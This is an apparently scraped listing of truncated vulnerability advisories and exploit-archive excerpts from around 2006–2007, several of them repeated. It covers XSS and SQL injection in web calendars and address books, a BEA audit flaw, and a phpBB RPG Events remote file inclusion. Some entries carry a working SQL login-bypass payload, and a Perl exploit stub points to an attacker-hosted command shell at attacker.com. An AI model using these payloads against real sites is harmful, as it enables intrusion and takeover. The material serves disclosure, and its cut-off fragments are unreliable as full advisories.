CVE-2007-0434

BEA AquaLogic Enterprise Security 2.0–2.2 (AquaLogic Enterprise Security 2.0 through 2.0 SP2, 2.1 through 2.1 SP1, and 2.2) has a vulnerability where audit-event severity is not properly set under high system load. This can hinder detection by bypassing or delaying alerting, potentially reducing ...

CVE-2007-0434

BEA AquaLogic Enterprise Security 2.0 through 2.0 SP2, 2.1 through 2.1 SP1, and 2.2 does not properly set the severity level of audit events when the system load is high, which might make it easier for attackers to avoid detection...

BEA产品多个远程安全漏洞

BEA Systems WebLogic包含多种应用系统集成方案，包括Server/Express/Integration等。 BEA Weblogic中存在多个安全漏洞，可能允许恶意攻击者获得敏感信息、绕过某些安全限制、导致拒绝服务或完全入侵系统。 这些漏洞包括： 1 SSL库中的漏洞可能允许判断明文块； 2 从缓存重用连接时服务器没有正确地验证客户端证书，导致攻击者可以通过X.509证书访问Web服务器。成功攻击要求应用程序允许通过单个客户端进程访问多个用户； 3 存储在JDBCDataSourceFactory MBean Properties属性中的口令没有加密； 4...

Multiple browsers race conditions

There are different race condition with threading synchronization on different concurrent events...

CVE-2006-4577

CVE-2006-4577 affects The Address Book 1.04e. It contains multiple cross-site scripting (XSS) vulnerabilities allowing an attacker to inject arbitrary scripts via: (1) email, (2) websites, (3) groupAddName in save.php; (4) errorMsg in index.php; (5) goTo and (6) search in search.php. CVSS v2 base...

CVE-2006-4577

Multiple cross-site scripting XSS vulnerabilities in The Address Book 1.04e allow remote attackers to inject arbitrary web script or HTML via Javascript events in the 1 email, 2 websites, and 3 groupAddName parameters in a save.php; the 4 errorMsg parameter in b index.php; and the 5 goTo and 6...

CVE-2006-4577

Multiple cross-site scripting XSS vulnerabilities in The Address Book 1.04e allow remote attackers to inject arbitrary web script or HTML via Javascript events in the 1 email, 2 websites, and 3 groupAddName parameters in a save.php; the 4 errorMsg parameter in b index.php; and the 5 goTo and 6...

Visual Events Calendar 1.1 (cfg_dir) Remote Include Vulnerability

No description provided by source. title: Visual Events Calendar v1.1 cfgdir Remote Inclusion Vulnerability Author: xoron script: Visual Events Calendar v1.1 Class : Remote cont@ct: x0r0nathotmaildotcom CODE: include $cfgdir."customizetext.php"; Exploit:...

CVE-2006-6066

Multiple SQL injection vulnerabilities in Dragon Calendar / Events Listing 2.x allow remote attackers to execute arbitrary SQL commands via the 1 username or 2 password parameter to a adminlogin.asp, the 3 ID parameter to b eventsearchdetail.asp, or the 4 VenueID parameter to c venuedetail.asp...

CVE-2006-6066

Multiple SQL injection vulnerabilities in Dragon Calendar / Events Listing 2.x allow remote attackers to execute arbitrary SQL commands via the 1 username or 2 password parameter to a adminlogin.asp, the 3 ID parameter to b eventsearchdetail.asp, or the 4 VenueID parameter to c venuedetail.asp...

CVE-2006-6066

Vulnerability summary (CVE-2006-6066) : Dragon Calendar / Events Listing 2.x contains multiple SQL injection flaws allowing remote attackers to execute arbitrary SQL commands via parameters in API endpoints: username or password to admin_login.asp, ID to event_searchdetail.asp, and VenueID to ven...

dragonevents.txt

vendor site:http://www.dragoninternet.net/ product:Dragon Events Listing bug:login bypass & injection sql risk:high login bypass : username: 'or''=' passwd: 'or''=' injection sql get http://site.com/eventsearchdetail.asp?ID='sql http://site.com/venuedetail.asp?VenueID='sql laurent gaffié & benjam...

Dragon calendar [ login bypass & injection sql ]

vendor site:http://www.dragoninternet.net/ product:Dragon Events Listing bug:login bypass & injection sql risk:high login bypass : username: 'or''=' passwd: 'or''=' injection sql get http://site.com/eventsearchdetail.asp?ID='sql http://site.com/venuedetail.asp?VenueID='sql laurent gaffie & benjam...

Dragon Internet Events Listing 2.0.01 - 'event_searchdetail.asp?ID' SQL Injection

source: https://www.securityfocus.com/bid/21098/info Dragon Event Listing is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. A successful exploit could allow an attacker to compromise the...

Dragon Internet Events Listing 2.0.01 - event_searchdetail.asp?ID SQL Injection

Dragon Internet Events Listing 2.0.01 - eventsearchdetail.asp?ID SQL Injection source: https://www.securityfocus.com/bid/21098/info Dragon Event Listing is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an...

phpbbrpg-rfi.txt

!/usr/bin/perl PHPBB RPG Events 1.0.0 Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://mods.best-dev.com/old/files/rpgevents-part2.zip use IO::Socket; use LWP::Simple; $cmdshell="http://attacker.com/cmd.txt"; ";$cmd = ; while$cmd !...

phpBB RPG Events 1.0 functions_rpg_events Remote File Include Exploit

No description provided by source. !/usr/bin/perl PHPBB RPG Events 1.0.0 Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high...

phpBB RPG Events 1.0 - functions_rpg_events Remote File Inclusion

phpBB RPG Events 1.0 - functionsrpgevents Remote File Inclusion !/usr/bin/perl PHPBB RPG Events 1.0.0 Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high...

phpBB RPG Events 1.0 - 'functions_rpg_events' Remote File Inclusion

!/usr/bin/perl PHPBB RPG Events 1.0.0 Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://mods.best-dev.com/old/files/rpgevent...

phpBB RPG Events 1.0 functions_rpg_events Remote File Include Exploit

Exploit for unknown platform in category web applications ===================================================================== phpBB RPG Events 1.0 functionsrpgevents Remote File Include Exploit ===================================================================== !/usr/bin/perl PHPBB RPG Events...